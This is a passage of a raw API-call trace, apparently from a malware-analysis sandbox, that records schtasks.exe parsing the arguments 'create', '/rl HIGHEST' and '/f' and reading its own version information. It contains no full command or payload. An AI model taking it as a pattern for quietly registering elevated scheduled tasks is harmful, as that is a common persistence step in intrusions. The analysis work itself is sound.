(_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.504] lstrlenW (lpString="rl") returned 2 [0079.504] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.504] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|?|") returned 3 [0079.504] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|rl|") returned 4 [0079.504] lstrlenW (lpString="|?|") returned 3 [0079.504] lstrlenW (lpString="|rl|") returned 4 [0079.504] SetLastError (dwErrCode=0x490) [0079.504] lstrlenW (lpString="create") returned 6 [0079.504] lstrlenW (lpString="create") returned 6 [0079.504] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.504] lstrlenW (lpString="rl") returned 2 [0079.504] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.504] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|create|") returned 8 [0079.504] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|rl|") returned 4 [0079.504] lstrlenW (lpString="|create|") returned 8 [0079.504] lstrlenW (lpString="|rl|") returned 4 [0079.504] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0079.504] SetLastError (dwErrCode=0x490) [0079.504] lstrlenW (lpString="delete") returned 6 [0079.504] lstrlenW (lpString="delete") returned 6 [0079.504] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.505] lstrlenW (lpString="rl") returned 2 [0079.505] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.505] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|delete|") returned 8 [0079.505] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|rl|") returned 4 [0079.505] lstrlenW (lpString="|delete|") returned 8 [0079.505] lstrlenW (lpString="|rl|") returned 4 [0079.505] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0079.505] SetLastError (dwErrCode=0x490) [0079.505] lstrlenW (lpString="query") returned 5 [0079.505] lstrlenW (lpString="query") returned 5 [0079.505] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.505] lstrlenW (lpString="rl") returned 2 [0079.505] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.505] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|query|") returned 7 [0079.505] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|rl|") returned 4 [0079.505] lstrlenW (lpString="|query|") returned 7 [0079.505] lstrlenW (lpString="|rl|") returned 4 [0079.505] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0079.505] SetLastError (dwErrCode=0x490) [0079.505] lstrlenW (lpString="change") returned 6 [0079.505] lstrlenW (lpString="change") returned 6 [0079.505] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.505] lstrlenW (lpString="rl") returned 2 [0079.505] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.505] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|change|") returned 8 [0079.505] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|rl|") returned 4 [0079.505] lstrlenW (lpString="|change|") returned 8 [0079.505] lstrlenW (lpString="|rl|") returned 4 [0079.506] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0079.506] SetLastError (dwErrCode=0x490) [0079.506] lstrlenW (lpString="run") returned 3 [0079.506] lstrlenW (lpString="run") returned 3 [0079.506] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.506] lstrlenW (lpString="rl") returned 2 [0079.506] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.506] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|run|") returned 5 [0079.506] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|rl|") returned 4 [0079.506] lstrlenW (lpString="|run|") returned 5 [0079.506] lstrlenW (lpString="|rl|") returned 4 [0079.506] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0079.506] SetLastError (dwErrCode=0x490) [0079.506] lstrlenW (lpString="end") returned 3 [0079.506] lstrlenW (lpString="end") returned 3 [0079.506] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.506] lstrlenW (lpString="rl") returned 2 [0079.506] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.506] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|end|") returned 5 [0079.506] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|rl|") returned 4 [0079.506] lstrlenW (lpString="|end|") returned 5 [0079.506] lstrlenW (lpString="|rl|") returned 4 [0079.506] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0079.506] SetLastError (dwErrCode=0x490) [0079.506] lstrlenW (lpString="showsid") returned 7 [0079.506] lstrlenW (lpString="showsid") returned 7 [0079.506] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.506] lstrlenW (lpString="rl") returned 2 [0079.506] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.506] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|showsid|") returned 9 [0079.507] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|rl|") returned 4 [0079.507] lstrlenW (lpString="|showsid|") returned 9 [0079.507] lstrlenW (lpString="|rl|") returned 4 [0079.507] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0079.507] SetLastError (dwErrCode=0x490) [0079.507] SetLastError (dwErrCode=0x490) [0079.507] SetLastError (dwErrCode=0x0) [0079.507] lstrlenW (lpString="/rl") returned 3 [0079.507] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0079.507] SetLastError (dwErrCode=0x490) [0079.507] SetLastError (dwErrCode=0x0) [0079.507] lstrlenW (lpString="/rl") returned 3 [0079.507] GetProcessHeap () returned 0x2b0000 [0079.507] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x8) returned 0x2cded0 [0079.507] GetProcessHeap () returned 0x2b0000 [0079.507] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2cce70 [0079.507] SetLastError (dwErrCode=0x0) [0079.507] SetLastError (dwErrCode=0x0) [0079.507] lstrlenW (lpString="HIGHEST") returned 7 [0079.507] lstrlenW (lpString="-/") returned 2 [0079.507] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0079.507] SetLastError (dwErrCode=0x490) [0079.507] SetLastError (dwErrCode=0x490) [0079.507] SetLastError (dwErrCode=0x0) [0079.507] lstrlenW (lpString="HIGHEST") returned 7 [0079.507] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0079.507] SetLastError (dwErrCode=0x490) [0079.507] SetLastError (dwErrCode=0x0) [0079.507] lstrlenW (lpString="HIGHEST") returned 7 [0079.507] GetProcessHeap () returned 0x2b0000 [0079.507] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x10) returned 0x2cd660 [0079.507] GetProcessHeap () returned 0x2b0000 [0079.507] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccea0 [0079.507] SetLastError (dwErrCode=0x0) [0079.507] SetLastError (dwErrCode=0x0) [0079.507] lstrlenW (lpString="/f") returned 2 [0079.508] lstrlenW (lpString="-/") returned 2 [0079.508] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0079.508] lstrlenW (lpString="?") returned 1 [0079.508] lstrlenW (lpString="?") returned 1 [0079.508] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.508] lstrlenW (lpString="f") returned 1 [0079.508] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.508] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|?|") returned 3 [0079.508] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|f|") returned 3 [0079.508] lstrlenW (lpString="|?|") returned 3 [0079.508] lstrlenW (lpString="|f|") returned 3 [0079.508] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0079.508] SetLastError (dwErrCode=0x490) [0079.508] lstrlenW (lpString="create") returned 6 [0079.508] lstrlenW (lpString="create") returned 6 [0079.508] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.508] lstrlenW (lpString="f") returned 1 [0079.508] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.508] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|create|") returned 8 [0079.508] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|f|") returned 3 [0079.508] lstrlenW (lpString="|create|") returned 8 [0079.508] lstrlenW (lpString="|f|") returned 3 [0079.508] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0079.508] SetLastError (dwErrCode=0x490) [0079.508] lstrlenW (lpString="delete") returned 6 [0079.508] lstrlenW (lpString="delete") returned 6 [0079.508] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.508] lstrlenW (lpString="f") returned 1 [0079.508] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.508] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|delete|") returned 8 [0079.509] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|f|") returned 3 [0079.509] lstrlenW (lpString="|delete|") returned 8 [0079.509] lstrlenW (lpString="|f|") returned 3 [0079.509] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0079.509] SetLastError (dwErrCode=0x490) [0079.509] lstrlenW (lpString="query") returned 5 [0079.509] lstrlenW (lpString="query") returned 5 [0079.509] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.509] lstrlenW (lpString="f") returned 1 [0079.509] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.509] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|query|") returned 7 [0079.509] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|f|") returned 3 [0079.509] lstrlenW (lpString="|query|") returned 7 [0079.509] lstrlenW (lpString="|f|") returned 3 [0079.509] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0079.509] SetLastError (dwErrCode=0x490) [0079.509] lstrlenW (lpString="change") returned 6 [0079.509] lstrlenW (lpString="change") returned 6 [0079.509] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.509] lstrlenW (lpString="f") returned 1 [0079.509] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.509] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|change|") returned 8 [0079.509] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|f|") returned 3 [0079.509] lstrlenW (lpString="|change|") returned 8 [0079.509] lstrlenW (lpString="|f|") returned 3 [0079.509] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0079.509] SetLastError (dwErrCode=0x490) [0079.510] lstrlenW (lpString="run") returned 3 [0079.510] lstrlenW (lpString="run") returned 3 [0079.510] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.510] lstrlenW (lpString="f") returned 1 [0079.510] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.510] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|run|") returned 5 [0079.510] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|f|") returned 3 [0079.510] lstrlenW (lpString="|run|") returned 5 [0079.510] lstrlenW (lpString="|f|") returned 3 [0079.510] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0079.510] SetLastError (dwErrCode=0x490) [0079.510] lstrlenW (lpString="end") returned 3 [0079.510] lstrlenW (lpString="end") returned 3 [0079.510] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.510] lstrlenW (lpString="f") returned 1 [0079.510] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.510] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|end|") returned 5 [0079.510] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|f|") returned 3 [0079.510] lstrlenW (lpString="|end|") returned 5 [0079.510] lstrlenW (lpString="|f|") returned 3 [0079.510] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0079.510] SetLastError (dwErrCode=0x490) [0079.510] lstrlenW (lpString="showsid") returned 7 [0079.510] lstrlenW (lpString="showsid") returned 7 [0079.510] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.510] lstrlenW (lpString="f") returned 1 [0079.510] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.510] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|showsid|") returned 9 [0079.510] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf478 | out: _Buffer="|f|") returned 3 [0079.510] lstrlenW (lpString="|showsid|") returned 9 [0079.510] lstrlenW (lpString="|f|") returned 3 [0079.511] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0079.511] SetLastError (dwErrCode=0x490) [0079.511] SetLastError (dwErrCode=0x490) [0079.511] SetLastError (dwErrCode=0x0) [0079.511] lstrlenW (lpString="/f") returned 2 [0079.511] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0079.511] SetLastError (dwErrCode=0x490) [0079.511] SetLastError (dwErrCode=0x0) [0079.511] lstrlenW (lpString="/f") returned 2 [0079.511] GetProcessHeap () returned 0x2b0000 [0079.511] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x6) returned 0x2cdef0 [0079.511] GetProcessHeap () returned 0x2b0000 [0079.511] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2cced0 [0079.511] SetLastError (dwErrCode=0x0) [0079.511] GetProcessHeap () returned 0x2b0000 [0079.511] GetProcessHeap () returned 0x2b0000 [0079.511] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc320) returned 1 [0079.511] GetProcessHeap () returned 0x2b0000 [0079.511] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc320) returned 0x8 [0079.511] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc320 | out: hHeap=0x2b0000) returned 1 [0079.511] GetProcessHeap () returned 0x2b0000 [0079.511] GetProcessHeap () returned 0x2b0000 [0079.511] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd50) returned 1 [0079.511] GetProcessHeap () returned 0x2b0000 [0079.511] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccd50) returned 0x20 [0079.512] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd50 | out: hHeap=0x2b0000) returned 1 [0079.512] GetProcessHeap () returned 0x2b0000 [0079.512] GetProcessHeap () returned 0x2b0000 [0079.512] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc3b0) returned 1 [0079.512] GetProcessHeap () returned 0x2b0000 [0079.512] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc3b0) returned 0xe [0079.512] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc3b0 | out: hHeap=0x2b0000) returned 1 [0079.512] GetProcessHeap () returned 0x2b0000 [0079.512] GetProcessHeap () returned 0x2b0000 [0079.512] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd80) returned 1 [0079.512] GetProcessHeap () returned 0x2b0000 [0079.512] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccd80) returned 0x20 [0079.512] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccd80 | out: hHeap=0x2b0000) returned 1 [0079.512] GetProcessHeap () returned 0x2b0000 [0079.512] GetProcessHeap () returned 0x2b0000 [0079.513] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc3d0) returned 1 [0079.513] GetProcessHeap () returned 0x2b0000 [0079.513] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc3d0) returned 0x8 [0079.513] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc3d0 | out: hHeap=0x2b0000) returned 1 [0079.513] GetProcessHeap () returned 0x2b0000 [0079.513] GetProcessHeap () returned 0x2b0000 [0079.513] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccdb0) returned 1 [0079.513] GetProcessHeap () returned 0x2b0000 [0079.513] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccdb0) returned 0x20 [0079.513] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccdb0 | out: hHeap=0x2b0000) returned 1 [0079.513] GetProcessHeap () returned 0x2b0000 [0079.513] GetProcessHeap () returned 0x2b0000 [0079.513] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc3f0) returned 1 [0079.513] GetProcessHeap () returned 0x2b0000 [0079.513] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc3f0) returned 0x10 [0079.513] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc3f0 | out: hHeap=0x2b0000) returned 1 [0079.513] GetProcessHeap () returned 0x2b0000 [0079.513] GetProcessHeap () returned 0x2b0000 [0079.513] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccde0) returned 1 [0079.513] GetProcessHeap () returned 0x2b0000 [0079.513] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccde0) returned 0x20 [0079.514] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccde0 | out: hHeap=0x2b0000) returned 1 [0079.514] GetProcessHeap () returned 0x2b0000 [0079.514] GetProcessHeap () returned 0x2b0000 [0079.514] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc410) returned 1 [0079.514] GetProcessHeap () returned 0x2b0000 [0079.514] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc410) returned 0x8 [0079.514] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc410 | out: hHeap=0x2b0000) returned 1 [0079.514] GetProcessHeap () returned 0x2b0000 [0079.514] GetProcessHeap () returned 0x2b0000 [0079.514] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cce10) returned 1 [0079.514] GetProcessHeap () returned 0x2b0000 [0079.514] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cce10) returned 0x20 [0079.515] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cce10 | out: hHeap=0x2b0000) returned 1 [0079.515] GetProcessHeap () returned 0x2b0000 [0079.515] GetProcessHeap () returned 0x2b0000 [0079.515] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cde70) returned 1 [0079.515] GetProcessHeap () returned 0x2b0000 [0079.515] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cde70) returned 0x56 [0079.515] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cde70 | out: hHeap=0x2b0000) returned 1 [0079.515] GetProcessHeap () returned 0x2b0000 [0079.515] GetProcessHeap () returned 0x2b0000 [0079.515] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cce40) returned 1 [0079.515] GetProcessHeap () returned 0x2b0000 [0079.515] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cce40) returned 0x20 [0079.516] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cce40 | out: hHeap=0x2b0000) returned 1 [0079.516] GetProcessHeap () returned 0x2b0000 [0079.516] GetProcessHeap () returned 0x2b0000 [0079.516] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cded0) returned 1 [0079.516] GetProcessHeap () returned 0x2b0000 [0079.516] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cded0) returned 0x8 [0079.516] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cded0 | out: hHeap=0x2b0000) returned 1 [0079.516] GetProcessHeap () returned 0x2b0000 [0079.516] GetProcessHeap () returned 0x2b0000 [0079.516] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cce70) returned 1 [0079.516] GetProcessHeap () returned 0x2b0000 [0079.516] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cce70) returned 0x20 [0079.516] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cce70 | out: hHeap=0x2b0000) returned 1 [0079.516] GetProcessHeap () returned 0x2b0000 [0079.516] GetProcessHeap () returned 0x2b0000 [0079.516] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd660) returned 1 [0079.516] GetProcessHeap () returned 0x2b0000 [0079.516] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd660) returned 0x10 [0079.516] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd660 | out: hHeap=0x2b0000) returned 1 [0079.516] GetProcessHeap () returned 0x2b0000 [0079.516] GetProcessHeap () returned 0x2b0000 [0079.517] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccea0) returned 1 [0079.517] GetProcessHeap () returned 0x2b0000 [0079.517] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccea0) returned 0x20 [0079.517] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccea0 | out: hHeap=0x2b0000) returned 1 [0079.517] GetProcessHeap () returned 0x2b0000 [0079.517] GetProcessHeap () returned 0x2b0000 [0079.517] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cdef0) returned 1 [0079.517] GetProcessHeap () returned 0x2b0000 [0079.517] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cdef0) returned 0x6 [0079.517] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cdef0 | out: hHeap=0x2b0000) returned 1 [0079.517] GetProcessHeap () returned 0x2b0000 [0079.517] GetProcessHeap () returned 0x2b0000 [0079.517] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cced0) returned 1 [0079.517] GetProcessHeap () returned 0x2b0000 [0079.517] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cced0) returned 0x20 [0079.518] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cced0 | out: hHeap=0x2b0000) returned 1 [0079.518] GetProcessHeap () returned 0x2b0000 [0079.518] GetProcessHeap () returned 0x2b0000 [0079.518] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c7fa0) returned 1 [0079.518] GetProcessHeap () returned 0x2b0000 [0079.518] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c7fa0) returned 0x18 [0079.518] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c7fa0 | out: hHeap=0x2b0000) returned 1 [0079.518] SetLastError (dwErrCode=0x0) [0079.518] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0079.518] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0079.518] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0079.518] VerifyVersionInfoW (in: lpVersionInformation=0x1bc4d0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1bc4d0) returned 1 [0079.518] SetLastError (dwErrCode=0x0) [0079.518] lstrlenW (lpString="create") returned 6 [0079.518] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0079.518] SetLastError (dwErrCode=0x490) [0079.518] SetLastError (dwErrCode=0x0) [0079.518] lstrlenW (lpString="create") returned 6 [0079.518] GetProcessHeap () returned 0x2b0000 [0079.518] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2cced0 [0079.518] GetProcessHeap () returned 0x2b0000 [0079.518] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cd660 [0079.518] _memicmp (_Buf1=0x2cd660, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.519] GetProcessHeap () returned 0x2b0000 [0079.519] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x16) returned 0x2cd680 [0079.519] SetLastError (dwErrCode=0x0) [0079.519] _memicmp (_Buf1=0x2cbbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.519] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2cbd50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0079.519] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0079.519] GetProcessHeap () returned 0x2b0000 [0079.519] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x74e) returned 0x2cde70 [0079.519] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x2cde70 | out: lpData=0x2cde70) returned 1 [0079.520] VerQueryValueW (in: pBlock=0x2cde70, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1bc5b8, puLen=0x1bc620 | out: lplpBuffer=0x1bc5b8*=0x2ce20c, puLen=0x1bc620) returned 1 [0079.520] _memicmp (_Buf1=0x2cbbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.520] _vsnwprintf (in: _Buffer=0x2cbd50, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1bc598 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0079.520] VerQueryValueW (in: pBlock=0x2cde70, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1bc628, 